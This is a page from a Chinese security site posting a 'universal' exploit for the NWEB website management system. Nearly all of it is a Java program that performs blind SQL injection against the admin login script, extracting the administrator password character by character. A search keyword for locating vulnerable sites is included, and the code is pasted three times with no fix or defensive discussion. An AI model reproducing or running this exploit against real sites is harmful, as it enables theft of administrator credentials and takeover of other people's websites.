首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>漏洞资料>文章内容
万博网站管理系统(NWEB)通杀漏洞
来源:vfocus.net 作者:vfocus 发布时间:2010-09-24  
万博网站管理系统(NWEB)通杀漏洞
keyword:system/adminlogin.asp

EXP:jave的,请安装JAVE环境

package com.sogili.exp;


import java.io.*;
import java.net.*;

public class PostResquest {
      
       private String[] key={"1","2","3","4","5","6","7","8","9","0","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","z","y"};

       public PostResquest() {
            String urlStr="http://www.xxxxx.com/system/chklogin.asp";
            String value = "managerName=asdads'or%20mid(F_PassWord,Num,1)='Str&tpassWord=123456&surl=&submit.x=0&submit.y=0";
            String tempValue;
            String tempValue2;
            OutputStreamWriter oswPost;
            BufferedReader brPost;
            try {
                     URL url=new URL(urlStr);
                     StringBuffer temp;
                     HttpURLConnection conn;
                     for(int k=1;k<=16;k++){
                               tempValue=value.replaceAll("Num",String.valueOf(k));
                               for(int i=0;i<key.length;i++){
                                    conn= (HttpURLConnection)url.openConnection();
                                    conn.setDoOutput(true);
                                    tempValue2=tempValue.replaceAll("Str", key[i]);
                                    oswPost=new OutputStreamWriter(conn.getOutputStream());
                                    oswPost.write(tempValue2);
                                    oswPost.flush();
                                    oswPost.close();
                                    brPost=new BufferedReader(new InputStreamReader(conn.getInputStream()));
                                    String line=null;
                                    temp=new StringBuffer();
                        while((line=brPost.readLine())!=null)
                        {
                                 line=new String(line.getBytes(),"gb2312");
                                 temp.append(line+"\r\n");
                        }
                        if(temp.indexOf("口令")>-1){
                                 System.out.print(key[i]);
                                 break;
                        }
                        if(i==key.length-1){
                                 System.out.println("出错了");
                                 return;
                        }
                       
                               }
                     }
            } catch (MalformedURLException e) {
                     e.printStackTrace();
            } catch (IOException e) {
                     e.printStackTrace();
            }
       }
       public static void main(String[] args) {
            new PostResquest();
       }
}
万博网站管理系统(NWEB)通杀漏洞
keyword:system/adminlogin.asp

EXP:jave的,请安装JAVE环境

package com.sogili.exp;


import java.io.*;
import java.net.*;

public class PostResquest {
      
       private String[] key={"1","2","3","4","5","6","7","8","9","0","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","z","y"};

       public PostResquest() {
            String urlStr="http://www.xxxxx.com/system/chklogin.asp";
            String value = "managerName=asdads'or%20mid(F_PassWord,Num,1)='Str&tpassWord=123456&surl=&submit.x=0&submit.y=0";
            String tempValue;
            String tempValue2;
            OutputStreamWriter oswPost;
            BufferedReader brPost;
            try {
                     URL url=new URL(urlStr);
                     StringBuffer temp;
                     HttpURLConnection conn;
                     for(int k=1;k<=16;k++){
                               tempValue=value.replaceAll("Num",String.valueOf(k));
                               for(int i=0;i<key.length;i++){
                                    conn= (HttpURLConnection)url.openConnection();
                                    conn.setDoOutput(true);
                                    tempValue2=tempValue.replaceAll("Str", key[i]);
                                    oswPost=new OutputStreamWriter(conn.getOutputStream());
                                    oswPost.write(tempValue2);
                                    oswPost.flush();
                                    oswPost.close();
                                    brPost=new BufferedReader(new InputStreamReader(conn.getInputStream()));
                                    String line=null;
                                    temp=new StringBuffer();
                        while((line=brPost.readLine())!=null)
                        {
                                 line=new String(line.getBytes(),"gb2312");
                                 temp.append(line+"\r\n");
                        }
                        if(temp.indexOf("口令")>-1){
                                 System.out.print(key[i]);
                                 break;
                        }
                        if(i==key.length-1){
                                 System.out.println("出错了");
                                 return;
                        }
                       
                               }
                     }
            } catch (MalformedURLException e) {
                     e.printStackTrace();
            } catch (IOException e) {
                     e.printStackTrace();
            }
       }
       public static void main(String[] args) {
            new PostResquest();
       }
}

keyword:system/adminlogin.asp

EXP:jave的,请安装JAVE环境

package com.sogili.exp;


import java.io.*;
import java.net.*;

public class PostResquest {
       
        private String[] key={"1","2","3","4","5","6","7","8","9","0","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","z","y"};

        public PostResquest() {
                String urlStr="http://www.xxxxx.com/system/chklogin.asp";
                String value = "managerName=asdads'or%20mid(F_PassWord,Num,1)='Str&tpassWord=123456&surl=&submit.x=0&submit.y=0";
                String tempValue;
                String tempValue2;
                OutputStreamWriter oswPost;
                BufferedReader brPost;
                try {
                        URL url=new URL(urlStr);
                        StringBuffer temp;
                        HttpURLConnection conn;
                        for(int k=1;k<=16;k++){
                                tempValue=value.replaceAll("Num",String.valueOf(k));
                                for(int i=0;i<key.length;i++){
                                        conn= (HttpURLConnection)url.openConnection();
                                        conn.setDoOutput(true);
                                        tempValue2=tempValue.replaceAll("Str", key[i]);
                                        oswPost=new OutputStreamWriter(conn.getOutputStream());
                                        oswPost.write(tempValue2);
                                        oswPost.flush();
                                        oswPost.close();
                                        brPost=new BufferedReader(new InputStreamReader(conn.getInputStream()));
                                        String line=null;
                                        temp=new StringBuffer();
                            while((line=brPost.readLine())!=null)
                            {
                                    line=new String(line.getBytes(),"gb2312");
                                    temp.append(line+"\r\n");
                            }
                            if(temp.indexOf("口令")>-1){
                                    System.out.print(key[i]);
                                    break;
                            }
                            if(i==key.length-1){
                                    System.out.println("出错了");
                                    return;
                            }
                           
                                }
                        }
                } catch (MalformedURLException e) {
                        e.printStackTrace();
                } catch (IOException e) {
                        e.printStackTrace();
                }
        }
        public static void main(String[] args) {
                new PostResquest();
        }
}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·XSOK环境变量本地命令执行漏洞
·N点虚拟主机管理系统 致命漏洞。
·南方数据企业网站管理系统V10.0
·动网(DVBBS)Version 8.2.0 后
·Solaris 10 telnet漏洞及解决
·破解无线路由器密码,常见无线密
·Nginx %00空字节执行php漏洞
·WinWebMail、7I24提权漏洞
·XPCD xpcd-svga本地缓冲区溢出漏
·Struts2多个漏洞简要分析
·ecshop2.72 api.php 文件鸡肋注
·Discuz!后台拿Webshell 0day
  相关文章
·慧博商城系统V6.0注入漏洞
·酷我音乐盒存在DLL劫持漏洞(mfc
·dede的又一个代码执行
·N点虚拟主机管理系统 致命漏洞。
·老Y文章管理系统 v2.5 sp2 SQL注
·Piwik和OpenX多版本存在PHP远程
·PhpYun人才系统通杀注入及代码执
·FCKeditor二次上传拿shell
·无忧购物系统ASP时尚版和通用版
·ewebeditor高版本>=5.5鸡肋0day
·PHP168 V6.02整站系统远程执行任
·站易企网站管理系统CTEIMS 1.1 0
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved